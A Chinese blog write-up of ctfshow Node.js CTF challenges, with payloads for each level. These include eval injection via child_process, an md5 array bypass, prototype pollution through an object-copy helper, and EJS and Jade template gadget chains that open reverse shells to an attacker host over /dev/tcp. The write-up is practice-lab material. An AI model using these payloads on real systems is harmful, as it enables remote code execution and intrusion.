ctfshow-nodejs

embedded/2024/10/11 13:30:28/

web334

打开题目是一个登陆界面

下载题目中的附件,发现里面有用户名和密码

但还找到代码中有toUpperCase()函数为转为大写

因此用户名为ctfshow,密码为123456

输入即可得到flag

web335

打开题目

发现只有一句话,查看源码

里面暗示有get传参

在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。

构造:?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()

里面有fl00g.txt,cat即可得到flag

web336

与上一题一样,只是遍历之后的文件名发生了改变

而且过滤了exec

web337

打开看到直接给了源码

var express = require('express');
var router = express.Router();
var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a;var b = req.query.b;if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'});}});module.exports = router;

要传入a和b,它们值互不相同,但是长度相同,并且md5(a+flag)===md5(b+flag)

payload:?a[a]=2&b[b]=2

web338

下载源码

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow==='36dboy'){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  }});module.exports = router;

需要满足secert.ctfshow==='36dboy',利用点在utils.copy(user,req.body);

可以看到,如果secert.ctfshow==='36dboy'那我就能得到flag。secert类为空,直接继承了Object类,user也是。所以secert类中没有ctfshow,我们可以通过user污染Object类,在Object类里面加一个ctfshow。判断secert.ctfshow==='36dboy'时,找不到ctfshow,会从Object里面找。

抓包后payload:"__proto__":{"ctfshow":"36dboy"}


 

web339

下载源码

找输出flag相关代码

比上一题增加了一个api.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');res.render('api', { query: Function(query)(query)});});module.exports = router;

首先了解,不同对象所生成的原型链如下(部分):

var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> nullvar a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> nullfunction f(){return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null

这里就是通过原型链污染query的值,通过给__proto__赋值污染到query,因为这些变量的最上层直接继承了Object.prototype,所以会实现污染的效果。

我们往query中构造payload即会在res.render('api', { query: Function(query)(query)});这段模板渲染的代码中实现RCE,因为query在函数体内执行了。

payload:{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >&/dev/tcp/119.xx.xx.xx/6666 0>&1\"')"}}

先向/login发包污染query,再到/api下发post请求触发RCE。最后到login.js中查看flag

web340

下载源码,找到代码中输出flag的条件

userinfo中的isAdmin的值为真,才能弹出flag

这一关需要污染两次

payload:{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"')"}}}

还是监听端口执行命令查找falg

web341

相比于上一关没有api.js,login.js也变了 

login.js源码

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false;     };};utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){return res.json({ret_code: 0, ret_msg: '登录成功'});  }else{return res.json({ret_code: 2, ret_msg: '登录失败'});  }});module.exports = router;

没有了res.render('api', { query: Function(query)(query)});这样可利用的代码,但因为是ejs模板,用之前的RCE,需要向上两层才能污染:

payload:{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"');var __tmp2"}}}

web342-343

这里是Jade模版的原型链污染

payload:

{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xx/6666 0>&1\"');//"}}}
 
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xx/6666 0>&1\"')"}}}

往/login页面发一个json格式的POST请求,最后再随便浏览页面即可触发。
这里一定要发json格式的:

发包的时候请求头中的“Content-Type”改为"application/json"

找flag依旧是env 

web344

源码

router.get('/', function(req, res, next) {res.type('html');var flag = 'flag_here';if(req.url.match(/8c|2c|\,/ig)){res.end('where is flag :)');}var query = JSON.parse(req.query.query);if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){res.end(flag);}else{res.end('where is flag. :)');}});

应该输入?query={"name":"admin","password":"ctfshow","isVIP":true}

但是代码过滤了逗号

payload:?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}


http://www.ppmy.cn/embedded/21638.html

相关文章

【CLion】clion无法加载或找不到cmakekists文件

一、问题表象 最近工作中,在git pull远程仓库最新版本程序后,平时打开CLion自动加载的工程CMakeLists文件突然失效(显示找不到可编译的文件),无法debug程序。 二、原因分析 基于平时的编码经验和之前git pull也出现…

Cranck-Nicolson隐式方法解线性双曲型方程

Cranck-Nicolson隐式方法解线性双曲型方程 Cranck-Nicolson方法在抛物型方程里面比较常用,双曲型方程例子不多,该方法是二阶精度,无条件稳定,然而,数值震荡比较明显,特别是时间演化比较大以及courant数比较…

程序员缓解工作压力的技巧

程序员在紧张的工作之余,放松自己是非常重要的。我了解到有几种方法可以帮助他们缓解压力、恢复精力。 首先,运动是个不错的选择。无论是去健身房锻炼身体,还是进行户外跑步、散步,都可以让程序员暂时忘记工作,释放压力…

MySQL-多表查询-练习

练习 1.写一个查询显示所有雇员的 last name、department id、anddepartment name。 SELECT e.LAST_NAME,e.DEPARTMENT_ID,d.DEPARTMENT_NAME FROM employees e,departments d WHERE e.DEPARTMENT_ID d.DEPARTMENT_ID;2.创建一个在部门 80 中的所有工作岗位的唯一列表&#x…

Spring Boot 中Mybatis使用Like的使用方式和注意点

说明 模糊查询在项目中还是经常使用的,本文就简单整理Mybatis中使用Like进行模糊查询的几种写法以及一些常见的问题。 使用Springboot简单配置一下Mybatis,然后进行说明。Springboot集成Mybatis这里就不做介绍了,这里我们主要介绍一下在mybat…

linux 开机自启 rc.local

rc.local 是启动加载文件 例1. compose启动Harbor 写一个开启自动启动的脚本 [rootharbor harbor]# vim startall.sh #!/bin/bash cd /root/harbor docker-compose stop && docker-compose start给脚本权限 chmod x startall.sh chmod x /etc/rc.d/rc.local #ll 查…

【UE5】数字人基础

这里主要记录一下自己在实现数字人得过程中涉及导XSens惯性动捕,视频动捕,LiveLinkFace表捕,GRoom物理头发等。 一、导入骨骼网格体 骨骼网格体即模型要在模型雕刻阶段就要雕刻好表捕所需的表情体(blendshape),后面表捕的效果直…

golang sync pool

sync.Pool是内置对象池技术,可用于缓存临时对象,避免因频繁建立临时对象所带来的消耗以及对GC造成的压力 在很多知名框架中都可以看到sync.Pool的大量使用。比如Gin中用sync.Pool来复用每个请求都会创建的gin.Context对象 但是值得注意的是sync.Pool缓…